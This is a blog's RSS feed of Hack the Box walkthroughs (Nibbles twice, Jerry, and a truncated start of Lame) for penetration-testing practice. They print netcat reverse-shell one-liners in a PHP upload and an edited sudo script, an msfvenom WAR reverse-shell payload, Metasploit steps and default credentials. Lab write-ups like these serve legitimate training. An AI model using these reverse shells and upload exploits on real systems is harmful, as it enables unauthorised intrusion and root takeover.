<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Annie on Medium]]></title>
        <description><![CDATA[Stories by Annie on Medium]]></description>
        <link>https://medium.com/@ann_17?source=rss-14b774f2d9f2------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*9yFGu950rrTCDtiG2oHiMQ.png</url>
            <title>Stories by Annie on Medium</title>
            <link>https://medium.com/@ann_17?source=rss-14b774f2d9f2------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 19 Nov 2026 00:46:57 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@ann_17/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Nibbles: Hack the Box Walkthrough (without metasploit)]]></title>
            <link>https://medium.com/@ann_17/nibbles-hack-the-box-walkthrough-without-metasploit-88a921ec6fac?source=rss-14b774f2d9f2------2</link>
            <guid isPermaLink="false">https://medium.com/p/88a921ec6fac</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[nibbleblog]]></category>
            <category><![CDATA[hackthebox]]></category>
            <dc:creator><![CDATA[Annie]]></dc:creator>
            <pubDate>Sun, 26 Sep 2021 16:49:34 GMT</pubDate>
            <atom:updated>2021-09-26T16:49:34.185Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/502/1*ax_z1Y8dHYf8eQhGzle4zg.png" /><figcaption>Machine Name: Nibble | Machine IP: 10.10.10.75 | Machine Level: Easy</figcaption></figure><p><strong>BASIC ENUMERATION:</strong></p><blockquote><em>nmap -Pn -sV -sC -oA nmap/heavy 10.10.10.75</em></blockquote><p><em>Note: To find out exactly what a command means, you can use </em><a href="https://explainshell.com/"><em>explainshell.com</em></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/778/1*S2jRWLb5RrkpovU4U2Y7-A.png" /><figcaption>nmap scan results showing open ports and versions</figcaption></figure><p>Findings:</p><ul><li>Port Number = 22, Service = SSH, Version = OpenSSH 7.2p2</li><li>Port Number = 80, Service = HTTP, Version = Apache httpd 2.4.18</li></ul><p><em>Now we know which port is open, let’s start enumerating.</em></p><p><strong>SSH (Port 22) ENUMERATION:</strong></p><p>Check the ssh version ‘OpenSSH 7.2’ for exploits.</p><blockquote><em>Checking for exploits on </em><a href="https://www.exploit-db.com/"><em>exploit-db.com</em></a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8JG6vjC8tZxpxaVg2atTzQ.png" /><figcaption>Exploits found for openssh 7.2 using exploit-db</figcaption></figure><blockquote><em>searchsploit openssh 7.2</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*LohZNs6CPqvVpR3yV2-ScQ.png" /><figcaption>Exploits found for openssh 7.2 using searchsploit</figcaption></figure><p>We have a few exploits including ‘Username Enumeration’. On analysing the PoC, it requires you to pass a list of usernames as an argument. Since we have not done much information gathering yet, I suggest we move to enumerating HTTP and then come back if necessary.</p><p>Changing the approach . . . .</p><p><strong>HTTP (Port 80) ENUMERATION:</strong></p><p>The first step is to add the domain name to your /etc/hosts file by entering the following line to the list.</p><blockquote><em>10.10.10.75 nibbles.htb</em></blockquote><p>Let’s visit the website.</p><blockquote><a href="http://nibbles.htb/"><em>http://nibbles.htb/</em></a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/763/1*ricH6iUzqJTJXq_dUc5rWg.png" /><figcaption><a href="http://nibbles.htb/">http://nibbles.htb</a> simple webpage</figcaption></figure><p>It’s a simple “Hello world!” page.</p><p>While looking around, conduct a directory brute-force in the background using dirb/dirbuster/Gobuster or any other tool of preference. I had dirbuster running in the background using:</p><blockquote><em>dirbuster -u </em><a href="http://nibbles.htb/"><em>http://nibbles.htb</em></a><em> -l /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt</em></blockquote><p>On checking the source code, a directory was found: “/nibbleblog/”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/489/1*2L2KtNTI-52T1y86ezahJw.png" /><figcaption>Source code reveals blog page</figcaption></figure><blockquote><a href="http://nibbles.htb/nibbleblog/"><em>http://nibbles.htb/nibbleblog/</em></a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2JcU_UQ7gy78UDaQ_nTtLQ.png" /><figcaption>content of /nibbleblog/ directory</figcaption></figure><p>At the bottom right, “Atom” is the only line that takes you to another page: <a href="http://nibbles.htb/nibbleblog/feed.php">http://nibbles.htb/nibbleblog/feed.php</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1008/1*eQfojMQRTBK2hS8A7ek5Dw.png" /><figcaption>web page rendered on clicking “atom”</figcaption></figure><p>This shows nothing interesting. Let’s do some research on ‘nibbleblog’.</p><p>Nibble Blog is a free blog system that uses XML databases. It’s official website is <a href="https://www.nibbleblog.com/">https://www.nibbleblog.com/</a> and under “Help and Support” it has a link to a github repository that stores information on ‘installation, configuration, and bug reports’. In the Github repository, you can see the other possible directories as well.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/901/1*0RNrw_JPxHKQ7ykKyAR9WQ.png" /><figcaption>Github Repository of nibbleblog</figcaption></figure><p>Let’s try checking if the ‘admin.php’ directory exists.</p><blockquote><a href="http://nibbles.htb/nibbleblog/admin.php"><em>http://nibbles.htb/nibbleblog/admin.php</em></a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9paQOBBDVWSXSxbgmue5-A.png" /><figcaption>/admin.php admin sign up</figcaption></figure><p>Trying possible default passwords (admin:admin). However, (admin:nibbles) worked. We can set the USERNAME as admin and PASSWORD as nibbles.</p><p><em>It’s always best to try a few possible default credentials (or even search for them online) before trying to bruteforce, it can save time.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ba9kVulr2SN2PnffwGL9IA.png" /><figcaption>After successful admin login</figcaption></figure><p>Now we explore, try to find something that could help us exploit this.</p><p>In ‘settings’, at the bottom I was able to find the version of Nibbleblog being used. This information could help us search for appropriate exploits online.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/369/1*W-BEbqM7Vv3Rhmv5CySqfg.png" /><figcaption>Nibbleblog version in Settings</figcaption></figure><blockquote>Checking for exploits on <a href="https://www.exploit-db.com/">exploit-db.com</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3D-8zEVEGrPZENFXf8jYJg.png" /><figcaption>Exploit-db exploit nibbleblog 4.0.3</figcaption></figure><p>Since we don’t want to use metasploit, let’s go back to google and search for ‘Nibbleblog 4.0.3 Arbitrary File Upload Exploits’. I found this <a href="https://packetstormsecurity.com/files/133425/NibbleBlog-4.0.3-Shell-Upload.html">link</a> that has a detailed PoC.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/865/1*aAz3jTu8P50F4r3mqH1V-g.png" /><figcaption>Arbitrary File Upload PoC</figcaption></figure><p>According to this, we need to go to ‘plugins’, go to ‘My Image’ and click on configure, then upload a file. To execute the file you need to then visit the website mentioned. Let’s give it a go!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/850/1*2ogHcvI-57L6SQfhMBPygQ.png" /><figcaption>Configure under ‘My Image’</figcaption></figure><p>On your kali machine, create a reverse shell php file called ‘shell.php’ with the following content that lets you pop a shell on your local kali machine using netcat. You can use any text editor, I prefer nano (to save and exit in nano use ‘Ctrl+X’ and then ‘Y’).</p><blockquote><em>&lt;?php system(“rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc &lt;your machine’s IP&gt; 1234 &gt;/tmp/f”); ?&gt;</em></blockquote><p><em>Towards the end of the walkthrough, under Resources, I have added a link to a reverse shell cheat sheet that really helps.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/799/1*zbqiGSXQnzwAKXlyquDk2A.png" /><figcaption>Netcat reverse shell command in shell.php</figcaption></figure><p>Upload the shell.php file to the ‘My Image’ plugin.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/568/1*4UZY4MC0sbnRtsPoj9Opog.png" /><figcaption>Uploading shell.php</figcaption></figure><p>On your local terminal have netcat running on port 1234.</p><blockquote><em>nc -nlvp 1234</em></blockquote><p>According to the PoC, we need to now visit this website:</p><blockquote>http://nibbles.htb/nibbleblog/content/private/plugins/my_image/image.php</blockquote><p>You will then see that a shell has been retrieved through netcat.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/487/1*iXJ37ELrvnjBO6v5YiAWrg.png" /><figcaption>Succesfully retrieved a shell using netcat</figcaption></figure><p>Usually the user.txt file can be found in a user’s directory within the home directory. Here, the home directory has 1 directory called ‘nibbles’ and when you enter it you find the ‘user.txt’ file that has the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/289/1*7-AIITvkMhtZrnrda3qdzw.png" /><figcaption>Successfully found the user flag</figcaption></figure><p>Now, the next goal is to find the root.txt file. This is usually found in the root directory.</p><p>Unfortunately, we cannot access the root directory as we don’t have the permissions. Let’s find a way to perform privilege escalation.</p><p><strong>Privilege Escalation:</strong></p><p>To find out what files use root permissions we use the following command:</p><blockquote><em>sudo -l</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/946/1*VOH3gyY9UE0gOtYsSdvZBA.png" /><figcaption>File with root privileges</figcaption></figure><p>On going to ‘/home/nibbler/’, you can see that ‘personal’ is a zip file and on unizipping it you can find monitor.sh.</p><blockquote><em>unzip personal.zip</em></blockquote><p>The content of monitor.sh file doesn’t look too important, let’s replace it with a netcat reverse shell command:</p><p><em>rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc &lt;your ip&gt; 4444 &gt; /tmp/f</em></p><blockquote><em>echo “rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc &lt;your ip&gt; 4444 &gt; /tmp/f” &gt;&gt; monitor.sh</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/873/1*1NpThQxY6OsO_mR04H2CJg.png" /><figcaption>Replacing content of monitor.sh with reverse shell command</figcaption></figure><p>On a separate terminal on your kali machine, start netcat listening on port 4444.</p><blockquote><em>nc -nlvp 4444</em></blockquote><p>To execute the file, in the nibbler shell, we need to enter the following command and specify the user as root.</p><blockquote><em>sudo -u root ./monitor.sh</em></blockquote><p>You will then see that a root shell has been retrieved through netcat.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/483/1*azwcph7tjYB8WLwbHg9ChQ.png" /><figcaption>Root shell retrieved</figcaption></figure><p>Now, to find the root.txt file let’s go to the root directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/292/1*9UiklURnOg09wTLYq1zLLA.png" /><figcaption>Successfully retrieved the root flag</figcaption></figure><p>We have successfully completed the task!</p><p>Incase you want to learn how to automatically exploit the machine, please look for my Walkthrough titled “Nibbles: Hack the Box Walkthrough (with Metasploit). I have also used a different method of privilege escalation there, feel free to use whatever method suits you!</p><p><strong>Resources:</strong></p><ul><li><a href="https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet">https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet</a></li></ul><p>I hope this was helpful, Thank you!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=88a921ec6fac" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Nibbles: Hack the Box Walkthrough (with metasploit)]]></title>
            <link>https://medium.com/@ann_17/nibbles-hack-the-box-walkthrough-with-metasploit-cefbab853b9?source=rss-14b774f2d9f2------2</link>
            <guid isPermaLink="false">https://medium.com/p/cefbab853b9</guid>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[metasploit]]></category>
            <category><![CDATA[nibbleblog]]></category>
            <dc:creator><![CDATA[Annie]]></dc:creator>
            <pubDate>Sun, 26 Sep 2021 15:10:52 GMT</pubDate>
            <atom:updated>2021-09-26T15:10:52.674Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/502/1*ax_z1Y8dHYf8eQhGzle4zg.png" /><figcaption>Machine Name: Nibble | Machine IP: 10.10.10.75 | Machine Level: Easy</figcaption></figure><p><strong>BASIC ENUMERATION:</strong></p><blockquote>nmap -Pn -sV -sC -oA nmap/heavy 10.10.10.75</blockquote><p><em>Note: To find out exactly what a command means, you can use </em><a href="https://explainshell.com/"><em>explainshell.com</em></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/778/1*S2jRWLb5RrkpovU4U2Y7-A.png" /><figcaption>nmap scan results showing open ports and versions</figcaption></figure><p>Findings:</p><ul><li>Port Number = 22, Service = SSH, Version = OpenSSH 7.2p2</li><li>Port Number = 80, Service = HTTP, Version = Apache httpd 2.4.18</li></ul><p><em>Now we know which port is open, let’s start enumerating.</em></p><p><strong>SSH (Port 22) ENUMERATION:</strong></p><p>Check the ssh version ‘OpenSSH 7.2’ for exploits.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8JG6vjC8tZxpxaVg2atTzQ.png" /><figcaption>Exploits found for openssh 7.2 using exploit-db</figcaption></figure><blockquote><em>searchsploit openssh 7.2</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*LohZNs6CPqvVpR3yV2-ScQ.png" /><figcaption>Exploits found for openssh using searchsploit</figcaption></figure><p>Unfortunately, there were no exploits for openssh 7.2 using metasploit. Let’s change our approach.</p><p><strong>HTTP (Port 80) ENUMERATION:</strong></p><p>The first step is to add the domain name to your /etc/hosts file by entering the following line to the list.</p><blockquote><em>10.10.10.75 nibbles.htb</em></blockquote><p>Let’s visit the website.</p><blockquote><a href="http://nibbles.htb/"><em>http://nibbles.htb/</em></a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/544/1*-XqG3-LfUq2TpQvaJExQzw.png" /><figcaption>Website: <a href="http://nibbles.htb/"><em>http://nibbles.htb/</em></a></figcaption></figure><p>It’s a simple “Hello world!” page.</p><p>While looking around, perform a directory brute-force in the background using dirb/dirbuster/Gobuster or any other tool of preference. I had dirbuster running in the background using:</p><blockquote><em>dirbuster -u </em><a href="http://nibbles.htb/"><em>http://nibbles.htb</em></a><em> -l /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt</em></blockquote><p>On checking the source code, a directory was found: “/nibbleblog/”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/489/1*2L2KtNTI-52T1y86ezahJw.png" /><figcaption>Source code reveals blog page</figcaption></figure><blockquote><a href="http://nibbles.htb/nibbleblog/"><em>http://nibbles.htb/nibbleblog/</em></a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2JcU_UQ7gy78UDaQ_nTtLQ.png" /><figcaption>content of /nibbleblog/ directory</figcaption></figure><p>At the bottom right, “Atom” is the only link that takes you to another page: <a href="http://nibbles.htb/nibbleblog/feed.php">http://nibbles.htb/nibbleblog/feed.php</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1008/1*eQfojMQRTBK2hS8A7ek5Dw.png" /><figcaption>web page rendered on clicking “atom”</figcaption></figure><p>This shows nothing interesting. Let’s do some research on ‘nibbleblog’.</p><p>Nibble Blog is a free blog system that uses XML databases. It’s official website is <a href="https://www.nibbleblog.com/">https://www.nibbleblog.com/</a> and under “Help and Support” it has a link to a github repository that stores information on ‘installation, configuration, and bug reports’. In the Github repository, you can see the other possible directories as well.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/901/1*0RNrw_JPxHKQ7ykKyAR9WQ.png" /><figcaption>Github Repository of nibbleblog</figcaption></figure><p>I decided to check if there were any exploits for nibble blog.</p><blockquote>Checking for exploits on <a href="https://www.exploit-db.com/">exploit-db.com</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MOO92jvix4DfcEaq9V6lOw.png" /><figcaption>Exploits for nibbleblog</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/880/1*T_TBfYAsJFUMs1B5L7658Q.png" /><figcaption>searchsploit nibbleblog results</figcaption></figure><p>Exploit of choice = ‘Arbitrary File Upload(Metasploit)’</p><p><strong>EXPLOITATION:</strong></p><blockquote><em>msfconsole</em></blockquote><blockquote><em>search nibbleblog</em></blockquote><blockquote><em>use 0</em></blockquote><blockquote><em>show options</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/967/1*a-lY_21MTU4OH14jEBqhhQ.png" /><figcaption>Setting options</figcaption></figure><p>You need to enter the RHOSTS value, LHOST value, TargetURI, Username and Password.</p><p>The RHOST value is the IP address of your victim machine (i.e., Nibbles: 10.10.10.75) and the LHOST value is the IP address of the attacker machine (i.e., your machine IP address or tun0 which is the IP address provided through HTB’s OpenVPN). TARGETURI is also required which is /nibbleblog/.</p><blockquote><em>set RHOSTS 10.10.10.75</em></blockquote><blockquote><em>set LHOST tun0</em></blockquote><blockquote><em>set TARGETURI /nibbleblog/</em></blockquote><p>Since we hadn’t come across a login page earlier and don’t have any credentials, I decided to try ‘/admin.php’ listed in the Github repository.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eXhV0duFpM9LDdxe1uYw2Q.png" /><figcaption>/admin.php sign in page</figcaption></figure><p>Trying possible default passwords (admin:admin). However, (admin:nibbles) worked. We can set the USERNAME as admin and PASSWORD as nibbles. Then run the exploit using the ‘run’ or ‘exploit’ command.</p><blockquote><em>set USERNAME admin</em></blockquote><blockquote><em>set PASSWORD nibbles</em></blockquote><p><em>It’s always best to try a few possible default credentials (or even search for them online) before trying to bruteforce, it can save time.</em></p><p>We were able to retrieve a meterpreter shell!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/823/1*89PpZUvXSjOAE0QeaB4zRQ.png" /><figcaption>meterpreter shell</figcaption></figure><p>Usually the user.txt file can be found in a user’s directory within the home directory. Here, the home directory has 1 directory called ‘nibbles’ and when you enter it you find the ‘user.txt’ file that has the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*gQm5JnDwllbiz9x8yTHeuw.png" /><figcaption>Successful user flag capture</figcaption></figure><p>Now, the next goal is to find the root.txt file. This is usually found in the root directory.</p><p>Unfortunately, we cannot access the root directory as we don’t have the permissions. Let’s find a way to perform privilege escalation.</p><p><strong>Privilege Escalation:</strong></p><p>To gather more information I used the ‘shell’ command to retrieve a standard shell and then I upgraded it. To find system information, I used the ‘uname -a’ command.</p><blockquote><em>shell</em></blockquote><blockquote><em>python3 -c ‘import pty; pty.spawn(“/bin/sh”)’</em></blockquote><blockquote><em>whoami</em></blockquote><blockquote><em>uname -a</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/888/1*aXKqQGUci4epEeQFmzkd1A.png" /><figcaption>Retrieving information</figcaption></figure><p>To find out what files use root permissions we use the following command:</p><blockquote><em>sudo -l</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*baOYDjVcMrP0Z7jaU7UXKg.png" /><figcaption>File with root privileges</figcaption></figure><p>‘personal.zip’ is something we came across earlier when we found the user.txt file (I have inserted the screenshot from earlier, below).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/874/1*YS1eTR05e0DlKHLiAOKntg.png" /><figcaption>personal.zip</figcaption></figure><p>Check the content of personal.zip.</p><blockquote><em>unzip personal.zip</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/460/1*YwcNXmfcoZKlFgvIESXPyw.png" /></figure><p>The content of monitor.sh file doesn’t look too important, let’s replace it with a simple executable bash shell script instead.</p><p><em>#!/bin/bash</em></p><p><em>sh -c /bin/sh</em></p><p>The content of monitor.sh can be replaced by the above script using the following one line command:</p><blockquote><em>echo “#!/bin/bash \nsh -c /bin/sh” &gt; monitor.sh</em></blockquote><p>To execute the file, we need to enter the following command and specify the user as root.</p><blockquote><em>sudo -u root ./monitor.sh</em></blockquote><p>We have retrieved the root shell!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/237/1*26MBUyV3FvvYxaotiMdxNA.png" /><figcaption>root shell retrieved</figcaption></figure><p>Now, to find the root.txt file let’s go to the root directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/286/1*uafEmFmWVsC1LlS3I2KRpQ.png" /><figcaption>Successful capture of the root flag</figcaption></figure><p>We have successfully completed the task!</p><p>Incase you want to learn how to manually exploit the machine, please look for my Walkthrough titled “Nibbles: Hack the Box Walkthrough (without Metasploit). I have also used a different method of privilege escalation there, feel free to use whatever method suits you!</p><p><strong>Resources:</strong></p><ul><li><a href="https://www.offensive-security.com/metasploit-unleashed/meterpreter-basics/">https://www.offensive-security.com/metasploit-unleashed/meterpreter-basics/</a></li><li><a href="https://linuxhint.com/30_bash_script_examples/">https://linuxhint.com/30_bash_script_examples/</a></li></ul><p>I hope this was helpful, Thank you!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cefbab853b9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Jerry: Hack the Box Walkthrough]]></title>
            <link>https://medium.com/@ann_17/jerry-hack-the-box-walkthrough-f0641b1c53c6?source=rss-14b774f2d9f2------2</link>
            <guid isPermaLink="false">https://medium.com/p/f0641b1c53c6</guid>
            <category><![CDATA[hackthebox-walkthrough]]></category>
            <category><![CDATA[hackthebox]]></category>
            <dc:creator><![CDATA[Annie]]></dc:creator>
            <pubDate>Thu, 09 Sep 2021 16:20:35 GMT</pubDate>
            <atom:updated>2021-09-09T16:20:35.533Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/492/1*xLrdqf7K3a-19uP0MQcZMQ.png" /><figcaption>Machine Name: Jerry | Machine IP: <strong>10.10.10.95</strong> | Machine Level: Easy</figcaption></figure><p><strong>BASIC ENUMERATION:</strong></p><blockquote><em>nmap -Pn -sV -sC -oA nmap/heavy 10.10.10.95</em></blockquote><p><em>Note: To find out exactly what a command means, you can use </em><a href="https://explainshell.com/"><em>explainshell.com</em></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/778/1*jE0Aji8zisvSArCStnF54w.png" /><figcaption>nmap scan results showing open ports and versions</figcaption></figure><p>Findings:</p><ul><li>Port Number = 8080, Service = HTTP, Apache Tomcat</li></ul><p><em>Now we know which port is open, let’s start enumerating.</em></p><p><strong>HTTP (Port 8080) ENUMERATION:</strong></p><p>The first step is to add the domain name to your /etc/hosts file by entering the following line to the list.</p><blockquote><em>10.10.10.95 jerry.htb</em></blockquote><p>Let’s visit the website and keep in mind that as it does not run on port 80, we need to specify the port number 8080.</p><blockquote>http://jerry.htb:8080</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1dWkIY-pvHMgVoWuBrJEXw.png" /><figcaption>Website: http://jerry.htb:8080</figcaption></figure><p>Have a look around and see if you find anything interesting. You could also use any directory brute-forcing tool (dirb, dirbuster, Gobuster, etc. )</p><p>When you click on “Manager App” on the web page you are prompted with a pop-up login:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/838/1*z_7Oxd-yx1pJz3HNPzOcRw.png" /><figcaption>Manager App pop-up for authentication</figcaption></figure><p>When you cancel it, you are directed to the web directory “/manager/html” that also happens to be displaying a certain username and password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_lJyclu-Q1lpeH8IavaGjA.png" /><figcaption>Web directory /manager/html with username and password displayed</figcaption></figure><p>On refreshing the page, you are prompted with the login again. Enter the credentials we just found. (tomcat:s3cret)</p><blockquote><em>Username : tomcat</em></blockquote><blockquote><em>Password : s3cret</em></blockquote><p>On successfully logging in, you are directed to the “Tomcat Web Application Manager” page. While scrolling down, we find something useful. Under the “Deploy” section, you have an option to upload a WAR file (.war).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pwB9lRRpOH5POYp5reOzdg.png" /><figcaption>Option to upload a WAR file</figcaption></figure><p><strong>EXPLOITATION:</strong></p><p>Let’s create a reverse shell WAR file. These payloads can be easily found on the web, we will be following this <a href="https://netsec.ws/?p=331">link</a>.</p><p><em>Note: I will be listing a few more links below under “resources”</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_65sIniBMCheDGHzeqI5Bw.png" /><figcaption>WAR file Reverse shell payload</figcaption></figure><p>Using this command, we will be creating a ‘shell.war’ file with the reverse shell payload and change the LHOST to your machine IP address (i.e., tun0 if you are using OpenVPN), and change LPORT to the port you will be listening on (example: 1234). Then, upload the file to the web application.</p><blockquote><em>msfvenom -p java/jsp_shell_reverse_tcp LHOST=&lt;Your IP Address&gt; LPORT=1234 -f war &gt; shell.war</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/742/1*7qaVY5iCRkA-DQ_dLHc7aQ.png" /><figcaption>Creating a war file</figcaption></figure><p>Upload it to the web app and click deploy. We will then see that it is listed under Applications.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/1*CkIsojX6o4te98-nMlOZ5w.png" /><figcaption>shell.war file is deployed</figcaption></figure><p>On the terminal, start listening on port 1234 using netcat.</p><blockquote><em>nc -nlvp 1234</em></blockquote><p>Click on the file we have just deployed ,“/shell” listed under Applications on the web page. Then go back to netcat to check to see if we’ve got a shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/484/1*8G5ypInYMG3MSM69p253vg.png" /><figcaption>Successful Shell</figcaption></figure><p>We have successfully retrieved a shell!</p><p>Keep in mind that this is a windows shell, so the commands are a bit different to what you use in Linux. For example, to list the directories you use the command “dir”.</p><p>The best way to go about this would be to go to “C:\” (cd C:\) and look around from there.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/575/1*M3z63z4k0ExqpWmZ0dnENg.png" /><figcaption>Successfully captured both flags</figcaption></figure><p>We have successfully completed the task!</p><p><strong><em>Important Note:</em></strong></p><p><em>Whenever you see that “Apache Tomcat” is running on a port, you can ALMOST always follow the same path.</em></p><ul><li><em>Be sure to check the “/manager” and /manager/html” web directories, you should be prompted with a login pop-up.</em></li><li><em>Try to bruteforce or look around for the password. Once you login successfully, you will reach a “Web Application Manager” page, scroll down to “Deploy” and you will see an option to upload a war file.</em></li><li><em>You then need to create a war file preferably with msfvenom, upload it and click deploy.</em></li><li><em>Listen on a port using netcat</em></li><li><em>Click on the uploaded war file and you’ll get a shell!</em></li></ul><p><strong>Resources:</strong></p><ul><li><a href="https://netsec.ws/?p=331">https://netsec.ws/?p=331</a></li><li><a href="https://book.hacktricks.xyz/pentesting/pentesting-web/tomcat">https://book.hacktricks.xyz/pentesting/pentesting-web/tomcat</a></li><li><a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#war">https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#war</a></li></ul><p>I hope this was helpful, Thank you!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f0641b1c53c6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Lame: Hack the Box Walkthrough (without Metasploit)]]></title>
            <link>https://medium.com/@ann_17/lame-hack-the-box-walkthrough-without-metasploit-521ab0904dda?source=rss-14b774f2d9f2------2</link>
            <guid isPermaLink="false">https://medium.com/p/521ab0904dda</guid>
            <dc:creator><![CDATA[Annie]]></dc:creator>
            <pubDate>Mon, 06 Sep 2021 20:58:54 GMT</pubDate>
            <atom:updated>2021-09-06T20:58:54.250Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/486/0*m6H3zYZdQrNZ_4Ma.png" /><figcaption>Machine Name: Lame | Machine IP: 10.10.10.3 | Machine Level: Easy</figcaption></figure><p><strong>BASIC ENUMERATION:</strong></p><blockquote><em>nmap -Pn -sV -sC -oA nmap/heavy 10.10.10.3</em></blockquote><p><em>Note: To find out exactly what a command means, you can use </em><a href="https://explainshell.com/"><em>explainshell.com</em></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/787/0*cwpSnp6ZYj_t8r7u.png" /><figcaption>nmap scan results showing open ports and versions</figcaption></figure><p>Findings:</p><ul><li>Port Number = 21, Service = FTP, Version = vsftpd = 2.3.4</li><li>Anonymous FTP login allowed</li><li>Port Number = 22, Service = SSH, Version = OpenSSH 4.7</li><li>Port Number = 139/445, Service = Samba (smb), Version = smbd 3.0.20</li></ul><p><em>Now that we know which ports are open, let’s start enumerating them one by one.</em></p><p><strong>FTP (Port 21) ENUMERATION:</strong></p><p>Try logging into an FTP session as shown 